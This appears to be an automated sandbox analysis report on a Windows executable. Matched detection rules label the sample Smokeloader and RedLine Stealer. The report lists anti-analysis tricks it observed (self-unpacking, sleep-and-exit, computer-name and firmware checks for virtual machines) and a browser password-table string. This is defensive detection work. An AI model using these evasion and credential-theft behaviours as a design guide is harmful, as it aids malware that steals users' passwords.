Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0040B81C	0_2_0040B81C
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0042C0DA	0_2_0042C0DA
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00434080	0_2_00434080
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0040E14E	0_2_0040E14E
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0040A928	0_2_0040A928
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0040B129	0_2_0040B129
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0042B9C5	0_2_0042B9C5
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_004069A1	0_2_004069A1
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0041F9A4	0_2_0041F9A4
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0041C270	0_2_0041C270
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0042F278	0_2_0042F278
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0040620B	0_2_0040620B
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00430228	0_2_00430228
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_004052D9	0_2_004052D9
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00436ADC	0_2_00436ADC
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00405AAA	0_2_00405AAA
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0043B362	0_2_0043B362
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00402476	0_2_00402476
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0042FD35	0_2_0042FD35
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0042AD82	0_2_0042AD82
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0042D658	0_2_0042D658
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00430E6C	0_2_00430E6C
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00438E28	0_2_00438E28
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0042CFBA	0_2_0042CFBA
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0041204D	0_2_0041204D
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00441057	0_2_00441057
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00415070	0_2_00415070
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00448800	0_2_00448800
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0043D8D0	0_2_0043D8D0
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0041E083	0_2_0041E083
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0044915B	0_2_0044915B
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0045D15A	0_2_0045D15A
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0041316D	0_2_0041316D
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0040112C	0_2_0040112C
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_004279E0	0_2_004279E0
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0041D1E9	0_2_0041D1E9
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_004109FC	0_2_004109FC
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0040D994	0_2_0040D994
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0044F244	0_2_0044F244
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0041AA49	0_2_0041AA49
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0041B251	0_2_0041B251
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00429A5B	0_2_00429A5B
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00410218	0_2_00410218
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00410A33	0_2_00410A33
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00414A83	0_2_00414A83
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0044234A	0_2_0044234A
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0040136E	0_2_0040136E
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00457B30	0_2_00457B30
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00428334	0_2_00428334
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0041EBEB	0_2_0041EBEB
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00415C7E	0_2_00415C7E
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00418413	0_2_00418413
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0043A4FE	0_2_0043A4FE
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00424C8D	0_2_00424C8D
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0043BCA4	0_2_0043BCA4
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00416548	0_2_00416548
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00439535	0_2_00439535
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0041764A	0_2_0041764A
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0043D600	0_2_0043D600
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_004126B9	0_2_004126B9
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00429730	0_2_00429730
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00434FAC	0_2_00434FAC
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0235D221	0_2_0235D221
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02365213	0_2_02365213
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02378A67	0_2_02378A67
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_023422B4	0_2_023422B4
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_023712BE	0_2_023712BE
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0233BA83	0_2_0233BA83
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_023642E7	0_2_023642E7
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0234E2EA	0_2_0234E2EA
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_023452D7	0_2_023452D7
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02359ADA	0_2_02359ADA
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0236DB37	0_2_0236DB37
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0235C341	0_2_0235C341
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0233E3B5	0_2_0233E3B5
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0233B390	0_2_0233B390
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0233AB8F	0_2_0233AB8F
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_023603F5	0_2_023603F5
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0233DBFB	0_2_0233DBFB
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_023433D4	0_2_023433D4
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_023793C2	0_2_023793C2
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0238D3C1	0_2_0238D3C1
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_023478B1	0_2_023478B1
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0235D8BF	0_2_0235D8BF
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0236908F	0_2_0236908F
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_023610D3	0_2_023610D3
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02342920	0_2_02342920
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02359997	0_2_02359997
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0234EE52	0_2_0234EE52
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02354EF4	0_2_02354EF4
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02345EE5	0_2_02345EE5
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02359EE2	0_2_02359EE2
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_023326DD	0_2_023326DD
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0236BF0B	0_2_0236BF0B
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_023467AF	0_2_023467AF
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0236979C	0_2_0236979C
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0235AFE9	0_2_0235AFE9
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0235BC2C	0_2_0235BC2C
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02336C08	0_2_02336C08
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0234FC0B	0_2_0234FC0B
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02336472	0_2_02336472
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0234047F	0_2_0234047F
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0234D450	0_2_0234D450
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02357C47	0_2_02357C47
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0234ACB0	0_2_0234ACB0
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0234B4B8	0_2_0234B4B8
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0237F4AB	0_2_0237F4AB
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0236048F	0_2_0236048F
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0234C4D7	0_2_0234C4D7
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0235F4DF	0_2_0235F4DF
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02359CC2	0_2_02359CC2
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02335D11	0_2_02335D11
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02335540	0_2_02335540
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02366D43	0_2_02366D43
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_023725B1	0_2_023725B1
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0235859B	0_2_0235859B
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0235A5D4	0_2_0235A5D4
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0236B5C9	0_2_0236B5C9

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Process token adjusted: Load Driver

Jump to behavior

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: String function: 0233E3B5 appears 36 times
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: String function: 00438E28 appears 39 times
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: String function: 0043D070 appears 51 times
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: String function: 0040E14E appears 52 times
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: String function: 0236D2D7 appears 48 times
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: String function: 004360E1 appears 144 times
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: String function: 0233A905 appears 38 times

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1352 -s 1708

Source: g1kWKm20Z5.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.3612871914.00000000008AD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/5@0/1

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Code function: 0_2_008ADB56 CreateToolhelp32Snapshot,Module32First,

0_2_008ADB56

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1352

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\f4130565-fae2-4d2b-bb39-55413c018c92

Jump to behavior

Source: g1kWKm20Z5.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

System information queried: HandleInformation

Jump to behavior

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: g1kWKm20Z5.exe, 00000000.00000003.2171988651.00000000009F9000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.00000000009EB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: g1kWKm20Z5.exe

ReversingLabs: Detection: 89%

Source: unknown	Process created: C:\Users\user\Desktop\g1kWKm20Z5.exe "C:\Users\user\Desktop\g1kWKm20Z5.exe"
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1352 -s 1708

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Section loaded: my-global-render.dll	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Unpacked PE file: 0.2.g1kWKm20Z5.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Unpacked PE file: 0.2.g1kWKm20Z5.exe.400000.0.unpack

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00464074 push B000468Ch; retn 0044h	0_2_00464079
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00463CAD push esi; ret	0_2_00463CB6
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00403D6C push eax; mov dword ptr [esp], 00000000h	0_2_00403D71
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00452768 push ecx; ret	0_2_0045277B
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_023829CF push ecx; ret	0_2_023829E2
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02333FD3 push eax; mov dword ptr [esp], 00000000h	0_2_02333FD8

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00401FF9 Sleep,ExitProcess,	0_2_00401FF9
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00401FF9 Sleep,ExitProcess,	0_2_00401FF9
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02332260 Sleep,ExitProcess,	0_2_02332260

Found evasive API chain (may stop execution after checking computer name)

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Evasive API call chain: GetComputerName,DecisionNodes,ExitProcess

graph_0-72481

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep			graph_0-72423
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_0-72573

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Code function: 0_2_00429EF7 rdtsc

0_2_00429EF7

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Code function: 0_2_0041F9A4 GetCurrentProcessId,NtDuplicateObject,NtClose,GetProcessId,NtQuerySystemInformation,NtQuerySystemInformation,

0_2_0041F9A4

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-72589

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Evasive API call chain: RegQueryValue,DecisionNodes,ExitProcess			graph_0-72523
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess			graph_0-72531

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00451FBC FindFirstFileExW,FindNextFileW,FindClose,FindClose,		0_2_00451FBC
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02382223 FindFirstFileExW,FindNextFileW,FindClose,FindClose,		0_2_02382223

Source: Amcache.hve.7.dr	Binary or memory string: VMware
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.7.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.7.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.7.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.7.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.7.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000919000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.7.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.7.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.7.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.7.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.7.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.7.dr	Binary or memory string: \driver\vmci,\driver\pci
